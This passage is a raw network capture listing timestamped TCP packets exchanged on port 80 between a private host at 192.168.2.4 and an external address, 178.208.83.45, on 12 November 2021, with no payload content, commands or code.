Nov 12, 2021 22:23:28.260451078 CET	49815	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:28.260592937 CET	49815	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:28.260663986 CET	49815	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:28.282777071 CET	80	49815	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:28.282825947 CET	80	49815	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:28.282849073 CET	80	49815	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:28.282872915 CET	80	49815	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:28.282888889 CET	80	49815	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:28.282902002 CET	80	49815	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:28.282917023 CET	80	49815	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:28.282958984 CET	80	49815	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:28.282985926 CET	80	49815	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:28.283015013 CET	80	49815	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:28.283042908 CET	80	49815	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:28.283068895 CET	80	49815	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:28.283096075 CET	80	49815	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:28.283113956 CET	80	49815	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:28.283138990 CET	80	49815	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:28.283164024 CET	80	49815	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:28.283189058 CET	80	49815	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:28.283214092 CET	80	49815	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:28.283237934 CET	80	49815	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:28.283262968 CET	80	49815	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:28.283286095 CET	80	49815	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:28.285665035 CET	80	49815	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:28.285742998 CET	49815	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:30.058711052 CET	49815	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:30.060348034 CET	49816	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:30.081160069 CET	80	49815	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:30.081263065 CET	49815	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:30.082636118 CET	80	49816	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:30.082771063 CET	49816	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:30.123914003 CET	49816	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:30.146356106 CET	80	49816	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:30.149957895 CET	80	49816	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:30.150059938 CET	49816	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:30.159812927 CET	49816	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:30.161345959 CET	49817	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:30.182301044 CET	80	49816	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:30.182439089 CET	49816	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:30.183613062 CET	80	49817	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:30.183752060 CET	49817	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:30.191339016 CET	49817	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:30.191468000 CET	49817	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:30.191692114 CET	49817	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:30.191921949 CET	49817	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:30.213851929 CET	80	49817	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:30.213887930 CET	80	49817	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:30.213967085 CET	80	49817	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:30.213996887 CET	80	49817	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:30.214016914 CET	80	49817	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:30.214032888 CET	80	49817	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:30.214044094 CET	80	49817	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:30.214049101 CET	49817	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:30.214061022 CET	80	49817	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:30.214078903 CET	80	49817	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:30.214085102 CET	49817	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:30.214157104 CET	80	49817	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:30.214174986 CET	80	49817	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:30.214179993 CET	49817	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:30.214193106 CET	49817	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:30.214221001 CET	80	49817	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:30.214229107 CET	49817	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:30.214260101 CET	49817	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:30.214288950 CET	49817	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:30.236515045 CET	80	49817	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:30.236551046 CET	80	49817	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:30.236567020 CET	80	49817	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:30.236581087 CET	80	49817	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:30.236594915 CET	80	49817	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:30.236608982 CET	80	49817	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:30.236624956 CET	80	49817	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:30.236640930 CET	80	49817	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:30.236659050 CET	80	49817	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:30.236675024 CET	80	49817	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:30.236690044 CET	80	49817	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:30.236706018 CET	80	49817	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:30.236707926 CET	49817	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:30.236721039 CET	80	49817	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:30.236738920 CET	80	49817	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:30.236756086 CET	80	49817	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:30.236769915 CET	49817	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:30.236772060 CET	80	49817	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:30.236789942 CET	80	49817	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:30.236799002 CET	49817	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:30.236807108 CET	80	49817	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:30.236818075 CET	49817	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:30.236824036 CET	80	49817	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:30.236843109 CET	49817	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:30.236921072 CET	49817	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:30.259291887 CET	80	49817	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:30.259327888 CET	80	49817	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:30.259346008 CET	80	49817	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:30.259362936 CET	80	49817	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:30.259377956 CET	80	49817	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:30.259386063 CET	49817	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:30.259394884 CET	80	49817	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:30.259411097 CET	80	49817	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:30.259428024 CET	49817	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:30.259428978 CET	80	49817	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:30.259447098 CET	80	49817	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:30.259464025 CET	80	49817	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:30.259480953 CET	80	49817	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:30.259484053 CET	49817	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:30.259495974 CET	80	49817	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:30.259502888 CET	49817	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:30.259511948 CET	80	49817	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:30.259531021 CET	80	49817	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:30.259548903 CET	80	49817	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:30.259567022 CET	80	49817	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:30.259582043 CET	80	49817	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:30.259598970 CET	80	49817	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:30.259615898 CET	80	49817	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:30.259633064 CET	80	49817	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:30.259649992 CET	80	49817	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:30.259666920 CET	80	49817	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:30.259684086 CET	80	49817	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:30.259699106 CET	80	49817	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:30.259715080 CET	80	49817	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:30.259732008 CET	80	49817	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:30.259748936 CET	80	49817	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:30.259829044 CET	80	49817	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:30.259845972 CET	80	49817	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:30.259862900 CET	80	49817	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:30.259907961 CET	80	49817	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:30.259927988 CET	80	49817	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:30.259946108 CET	80	49817	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:30.259964943 CET	80	49817	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:30.259982109 CET	80	49817	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:30.259998083 CET	80	49817	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:30.260065079 CET	80	49817	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:30.260082006 CET	80	49817	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:30.274928093 CET	49818	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:30.282157898 CET	80	49817	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:30.282190084 CET	80	49817	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:30.282228947 CET	80	49817	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:30.282263041 CET	80	49817	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:30.282280922 CET	80	49817	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:30.282345057 CET	80	49817	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:30.282362938 CET	80	49817	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:30.282380104 CET	80	49817	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:30.282397032 CET	80	49817	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:30.282413006 CET	80	49817	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:30.282464981 CET	80	49817	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:30.282505035 CET	80	49817	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:30.282522917 CET	80	49817	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:30.282540083 CET	80	49817	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:30.285840034 CET	80	49817	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:30.285949945 CET	49817	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:30.297403097 CET	80	49818	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:30.297530890 CET	49818	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:30.298165083 CET	49818	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:30.320533991 CET	80	49818	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:30.324439049 CET	80	49818	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:30.324517965 CET	49818	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:30.438992023 CET	49818	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:30.439378977 CET	49817	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:30.441047907 CET	49819	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:30.461425066 CET	80	49818	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:30.461491108 CET	49818	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:30.461587906 CET	80	49817	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:30.461649895 CET	49817	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:30.463382006 CET	80	49819	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:30.463481903 CET	49819	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:30.464189053 CET	49819	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:30.486500978 CET	80	49819	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:30.490123034 CET	80	49819	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:30.490220070 CET	49819	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:30.594791889 CET	49819	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:30.596326113 CET	49820	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:30.617254972 CET	80	49819	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:30.617317915 CET	49819	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:30.618602991 CET	80	49820	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:30.618721008 CET	49820	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:30.619368076 CET	49820	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:30.641632080 CET	80	49820	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:30.644920111 CET	80	49820	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:30.645004988 CET	49820	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:30.688385963 CET	49820	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:30.688539982 CET	49820	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:30.688755989 CET	49820	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:30.688886881 CET	49820	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:30.710782051 CET	80	49820	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:30.710984945 CET	80	49820	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:30.711013079 CET	80	49820	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:30.711074114 CET	49820	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:30.711111069 CET	80	49820	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:30.711117029 CET	49820	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:30.711195946 CET	49820	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:30.711242914 CET	80	49820	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:30.711258888 CET	80	49820	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:30.711316109 CET	49820	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:30.711352110 CET	49820	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:30.733721018 CET	80	49820	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:30.733747959 CET	80	49820	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:30.733763933 CET	80	49820	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:30.733782053 CET	80	49820	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:30.733798027 CET	80	49820	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:30.733799934 CET	49820	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:30.733817101 CET	80	49820	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:30.733833075 CET	80	49820	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:30.733845949 CET	49820	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:30.733849049 CET	80	49820	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:30.733864069 CET	80	49820	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:30.733872890 CET	49820	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:30.733880043 CET	80	49820	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:30.733892918 CET	49820	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:30.733916998 CET	49820	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:30.733937025 CET	49820	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:30.751130104 CET	49821	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:30.756272078 CET	80	49820	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:30.756316900 CET	80	49820	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:30.756365061 CET	80	49820	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:30.756369114 CET	49820	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:30.756407022 CET	80	49820	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:30.756421089 CET	49820	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:30.756436110 CET	49820	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:30.756449938 CET	80	49820	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:30.756469011 CET	80	49820	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:30.756488085 CET	80	49820	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:30.756508112 CET	80	49820	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:30.756527901 CET	80	49820	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:30.756546974 CET	80	49820	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:30.756567955 CET	80	49820	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:30.756587982 CET	80	49820	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:30.756649971 CET	80	49820	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:30.756669998 CET	80	49820	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:30.756691933 CET	80	49820	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:30.756815910 CET	80	49820	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:30.756835938 CET	80	49820	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:30.756871939 CET	80	49820	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:30.773601055 CET	80	49821	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:30.773713112 CET	49821	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:30.774305105 CET	49821	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:30.778939962 CET	80	49820	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:30.778971910 CET	80	49820	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:30.779067039 CET	80	49820	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:30.779234886 CET	80	49820	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:30.779257059 CET	80	49820	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:30.781750917 CET	80	49820	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:30.781850100 CET	49820	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:30.796545029 CET	80	49821	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:30.799658060 CET	80	49821	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:30.799808025 CET	49821	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:30.922138929 CET	49821	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:30.922539949 CET	49820	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:30.924016953 CET	49822	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:30.944449902 CET	80	49821	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:30.944565058 CET	49821	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:30.944785118 CET	80	49820	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:30.944863081 CET	49820	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:30.946465015 CET	80	49822	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:30.946557999 CET	49822	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:30.948812008 CET	49822	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:30.971352100 CET	80	49822	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:30.975341082 CET	80	49822	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:30.975442886 CET	49822	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:31.093668938 CET	49822	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:31.095201969 CET	49823	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:31.116168976 CET	80	49822	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:31.117475033 CET	80	49823	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:31.117568016 CET	49822	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:31.117629051 CET	49823	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:31.118264914 CET	49823	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:31.140706062 CET	80	49823	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:31.144465923 CET	80	49823	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:31.147192001 CET	49823	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:31.212877989 CET	49823	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:31.213038921 CET	49823	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:31.213300943 CET	49823	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:31.213475943 CET	49823	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:31.235426903 CET	80	49823	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:31.235660076 CET	80	49823	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:31.235722065 CET	80	49823	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:31.235737085 CET	80	49823	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:31.235795021 CET	49823	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:31.235801935 CET	80	49823	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:31.235822916 CET	80	49823	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:31.235877037 CET	49823	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:31.235908031 CET	49823	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:31.251760006 CET	49824	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:31.258228064 CET	80	49823	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:31.258265018 CET	80	49823	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:31.258358955 CET	80	49823	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:31.258375883 CET	80	49823	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:31.258392096 CET	80	49823	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:31.258408070 CET	80	49823	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:31.258423090 CET	49823	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:31.258541107 CET	49823	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:31.258609056 CET	49823	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:31.258672953 CET	80	49823	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:31.258692026 CET	80	49823	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:31.258708000 CET	80	49823	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:31.258723021 CET	80	49823	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:31.258771896 CET	49823	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:31.258814096 CET	49823	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:31.274185896 CET	80	49824	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:31.274296999 CET	49824	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:31.275063038 CET	49824	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:31.280917883 CET	80	49823	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:31.280947924 CET	80	49823	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:31.280963898 CET	80	49823	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:31.280980110 CET	80	49823	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:31.281069040 CET	80	49823	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:31.281090021 CET	80	49823	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:31.281100988 CET	49823	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:31.281266928 CET	80	49823	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:31.281284094 CET	80	49823	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:31.281326056 CET	80	49823	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:31.281543970 CET	80	49823	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:31.281558990 CET	80	49823	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:31.281574965 CET	80	49823	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:31.281591892 CET	80	49823	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:31.281606913 CET	80	49823	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:31.281667948 CET	80	49823	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:31.281682968 CET	80	49823	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:31.281744003 CET	80	49823	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:31.297667980 CET	80	49824	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:31.301870108 CET	80	49824	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:31.301959038 CET	49824	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:31.303584099 CET	80	49823	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:31.303617001 CET	80	49823	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:31.303694963 CET	80	49823	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:31.303710938 CET	80	49823	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:31.303750038 CET	80	49823	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:31.303891897 CET	80	49823	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:31.306467056 CET	80	49823	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:31.309175968 CET	49823	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:31.406137943 CET	49823	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:31.406517982 CET	49824	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:31.407969952 CET	49825	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:31.428664923 CET	80	49823	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:31.428776026 CET	49823	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:31.428917885 CET	80	49824	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:31.429428101 CET	49824	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:31.430303097 CET	80	49825	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:31.431555986 CET	49825	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:31.432215929 CET	49825	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:31.454673052 CET	80	49825	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:31.458420038 CET	80	49825	178.208.83.45	192.168.2.4
